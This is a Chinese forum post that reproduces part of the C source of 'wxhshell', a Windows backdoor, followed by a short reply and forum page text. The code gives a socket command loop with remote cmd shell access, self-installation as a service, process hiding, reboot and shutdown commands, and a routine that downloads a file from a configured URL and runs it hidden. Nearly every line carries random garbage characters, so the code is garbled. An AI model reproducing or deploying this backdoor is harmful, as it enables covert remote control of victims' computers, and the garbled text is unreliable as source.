  } f4Y)GO<R]  
  else { HW~-GcU-o  
qT(6TP  
    switch(cmd[0]) { xIa7F$R 0  
  D 6 y,Q  
  // 帮助 jci,]*X4  
  case '?': { hF0,{v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YVDFcN9v  
    break; io+V4m  
  } ]nB|8k=J  
  // 安装 \298SH(!7  
  case 'i': { ; iia?f1  
    if(Install()) y{hy7w'd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RhHm[aN  
    else U3V5Jo r#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1s.2z[B~  
    break; |SjRss:i+  
    } 6^'BTd  
  // 卸载 -g2l-N{&  
  case 'r': { \_8wU' 7  
    if(Uninstall()) A/'po_'uy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]1<GZ`  
    else 9/(jY$Ar  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3)W zX  
    break; h5@G eYda  
    } gd*Gn"  
  // 显示 wxhshell 所在路径 4_=2|2Wz[  
  case 'p': { _#:/ ~Jp  
    char svExeFile[MAX_PATH]; h.PBe  
    strcpy(svExeFile,"\n\r"); Q&I`uS=F  
      strcat(svExeFile,ExeFile); `nl n@ ;  
        send(wsh,svExeFile,strlen(svExeFile),0); .M^[/!  
    break; tWIJ,_8l  
    } yzhNl' Rz  
  // 重启 =zyA~}M2  
  case 'b': { GcdJf/k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _5-h\RB)  
    if(Boot(REBOOT)) H TOr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &2`p#riAS  
    else { I} jgz  
    closesocket(wsh); 3@gsKtA&H4  
    ExitThread(0); Ck Nl;g l  
    } a9.yuSzL  
    break; _rwJ: r  
    } A<X?1$  
  // 关机 )?$[iu7 s  
  case 'd': { \uJRjw+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q# B0JT1  
    if(Boot(SHUTDOWN)) t+8e?="  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \c:$ eF  
    else { PVo7Sy!'H  
    closesocket(wsh); 9aJIq{`E  
    ExitThread(0); l&qnqmW<  
    } y'K2#Y~1e  
    break; Tf86CH=)5  
    } pZ.b X  
  // 获取shell *i]?J  
  case 's': { (jc& Fk  
    CmdShell(wsh); Mu? |<#s  
    closesocket(wsh); hL&$` Q  
    ExitThread(0); {6zNCO  
    break; g F*AS(9  
  } hGz_F/  
  // 退出 Kp`{-dUf  
  case 'x': { \EySKQ=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C 1k< P  
    CloseIt(wsh); #s\@fp7A  
    break; L"m^LyU  
    } W[\6h Zv  
  // 离开 G@k]rwub  
  case 'q': {  oBkhb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sE pI)9  
    closesocket(wsh); At iUTA  
    WSACleanup(); !@=S,Vc.  
    exit(1); $8=|<vt  
    break; nF,F#V8l  
        } &<PIm  
  } KC6Cg?y^  
  } K($l>PB,y@  
l_^SU8i57  
  // 提示信息 W,<q!<z\t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @AEH?gOX  
} |58HPW9  
  } !ZYPz}&N_  
0<uek  
  return; Ek_5% n  
} hIJtu;}zU  
}5;4'l8  
// shell模块句柄 *q=T1JY  
int CmdShell(SOCKET sock) GJeG7xtJKl  
{ ,CfslhO{j  
STARTUPINFO si; V*giF`gq  
ZeroMemory(&si,sizeof(si)); Q/+`9z+c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dr3_MWJ+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <\^0!v  
PROCESS_INFORMATION ProcessInfo; QqA=QTZ}  
char cmdline[]="cmd"; rAH!%~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bhqSqU}6~  
  return 0; yQK{ +w  
} tVAi0`DV  
&lQ%;)'  
// 自身启动模式 'ToE Y3  
int StartFromService(void) 4)S99|1  
{ LhJUoX  
typedef struct srGOIK.  
{ (pxH<k=Ah  
  DWORD ExitStatus; .kT]^rv ;  
  DWORD PebBaseAddress; 7n7Xyb  
  DWORD AffinityMask; XX8HSw!w  
  DWORD BasePriority; vMTf^V  
  ULONG UniqueProcessId; Q(bOar5  
  ULONG InheritedFromUniqueProcessId; tbFAVGcAM  
}   PROCESS_BASIC_INFORMATION; iW5cEI%tb  
sQJ\{'g  
PROCNTQSIP NtQueryInformationProcess; ]r Uj<[O  
'Gy`e-yB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _U s"   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0:$ }~T9T  
uJw?5kEbv<  
  HANDLE             hProcess; 3UZd_?JI[^  
  PROCESS_BASIC_INFORMATION pbi; mZ+!8$1X  
@ ^{`!>Vt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XO+BZB`F  
  if(NULL == hInst ) return 0; EoAr}fI  
Q{l,4P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4t, 2H"M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aLa<z Essz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D:z'`v0j  
0#*6:{/^  
  if (!NtQueryInformationProcess) return 0; OQ-) 4Uk}  
K:,V>DL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xfYKUOp/  
  if(!hProcess) return 0; PkvW6,lS  
;4nY{)bD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m\&|#yq  
a-{|/ n%  
  CloseHandle(hProcess); ingG  
h `Lr5)B'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S!(3-{nC  
if(hProcess==NULL) return 0; n' ~ ==2  
cQ8[XNa  
HMODULE hMod; ~gDYb#p  
char procName[255]; F.[%0b E  
unsigned long cbNeeded; ,!#Am13  
Gv-VDRS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q:-T' xk@  
TnF~'RZYb  
  CloseHandle(hProcess); )DgXsT  
B7%K}|Qg  
if(strstr(procName,"services")) return 1; // 以服务启动 4ud(5m;Rle  
nu0pzq\6  
  return 0; // 注册表启动 G+zhL6]F  
} 8y LcTA$T  
^O07GYF  
// 主模块 r,6~%T0  
int StartWxhshell(LPSTR lpCmdLine) >mb}~wx`  
{ F&d!fEHU  
  SOCKET wsl; @8L5 UT  
BOOL val=TRUE; M\]lNQA  
  int port=0; i|eX X)$  
  struct sockaddr_in door; `"5U b,~  
+A}t_u3<  
  if(wscfg.ws_autoins) Install(); fap`;AuwK  
r w?wi}}gn  
port=atoi(lpCmdLine); 6jq*lnA%  
q0.!T0i  
if(port<=0) port=wscfg.ws_port; IZZAR  
^'`b\$km-0  
  WSADATA data; c4H6I~2Na  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =7 l uV_5  
Y2`sL,'h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I dK*IA4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Zj%eW!m  
  door.sin_family = AF_INET; E'08'8y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )U&9d  
  door.sin_port = htons(port); 67j kU!  
j~q 7v `":  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yXNr[ 7  
closesocket(wsl); Q]WBH_j  
return 1; :?M_U;;z2+  
} H$`U] =s|  
\c_g9Iqa  
  if(listen(wsl,2) == INVALID_SOCKET) { qc8Ge\3s  
closesocket(wsl); x3+ -wv  
return 1; =o#Z?Bn5  
} \s=r[0tj!  
  Wxhshell(wsl); csP4Oq\g[  
  WSACleanup(); A8% e _XA  
lc,k-}n  
return 0; "n%j2"TYJj  
 u r$  
} x@NfN*?/+i  
,GSiSn  
// 以NT服务方式启动 1Lb)S@Q`*R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <LbLMV  
{ lC5zqyG  
DWORD   status = 0; VVJ0?G (?  
  DWORD   specificError = 0xfffffff; "~4V(  
5rsz2;#p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &^`Wtd~g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %\JGDM*m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?C|'GkT  
  serviceStatus.dwWin32ExitCode     = 0; SU0SsgFB  
  serviceStatus.dwServiceSpecificExitCode = 0; g[} L ?  
  serviceStatus.dwCheckPoint       = 0; Fb,*;M1'  
  serviceStatus.dwWaitHint       = 0; #}7T$Va  
9D3W_eIc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wd`p>  
  if (hServiceStatusHandle==0) return; lR?y tIY  
!tq]kKJ3:  
status = GetLastError(); ,Fn;*  
  if (status!=NO_ERROR) [2@:jLth=  
{ tA(oD4H9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8"h;+;  
    serviceStatus.dwCheckPoint       = 0; k4{!h?h  
    serviceStatus.dwWaitHint       = 0; Ej(BE@6>s  
    serviceStatus.dwWin32ExitCode     = status; b|i4me@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~XR ('}5D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |lNp0b  
    return; |4+'YgO  
  } Ag8/%a~(  
z^9oaoTl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  [N,+mX  
  serviceStatus.dwCheckPoint       = 0; 8m0*89HEu  
  serviceStatus.dwWaitHint       = 0; r_+Vb*|Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _7!ZnJrR  
} P'KA-4!  
6ALjM-t=V  
// 处理NT服务事件,比如:启动、停止 WJ8i=MO67  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $%EX~$=m]-  
{ OY1bFIE  
switch(fdwControl) @Ou H=<YN  
{ <X*oW".  
case SERVICE_CONTROL_STOP: & AK\Pw)  
  serviceStatus.dwWin32ExitCode = 0; ,!Wo6{'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %{ BV+&  
  serviceStatus.dwCheckPoint   = 0; ? dJd7+A  
  serviceStatus.dwWaitHint     = 0; %bw+>:Tr  
  { g4+K"Q /M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6FDj:~  
  } "](Q2  
  return; )>~ jjR  
case SERVICE_CONTROL_PAUSE: 3EYEd39E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^\PRz Y  
  break; f0P,j~]  
case SERVICE_CONTROL_CONTINUE: QGN+f)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2TGND-(j  
  break; x-i,v"8  
case SERVICE_CONTROL_INTERROGATE: S(.J  
  break; nmpc<&<<  
}; 7rD 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #M!u';bZ  
} z}-CU GS  
gdIk%m4  
// 标准应用程序主函数 6%V:Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0(i3RPIj\  
{ $~5H-wJ  
1gK|n  
// 获取操作系统版本 j \r GU){  
OsIsNt=GetOsVer(); b_sasZo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B  W*8  
& %/p; ::A  
  // 从命令行安装 dOv\]  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7c\W&ZEmb-  
A.*e8a/6X  
  // 下载执行文件 WWSycH ?[  
if(wscfg.ws_downexe) { ;?u cC@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pj_W^,*/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0_qr7Ui8(  
} @vq)Y2)r\  
T;DKDg a  
if(!OsIsNt) { Q m*z  
// 如果时win9x,隐藏进程并且设置为注册表启动 3>n&u,Xe  
HideProc(); B-g-T>8  
StartWxhshell(lpCmdLine); 4- QlIIf  
} {aA6b  
else <,$*(dX)(  
  if(StartFromService()) ou0TKE9 _  
  // 以服务方式启动 OcUj_Zd  
  StartServiceCtrlDispatcher(DispatchTable); T^!Q(`*  
else .4]XR/I$  
  // 普通方式启动 A$p&<#  
  StartWxhshell(lpCmdLine); a=$ZM4Bn  
_wXT9`|3  
return 0; }V ]*FCpQ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八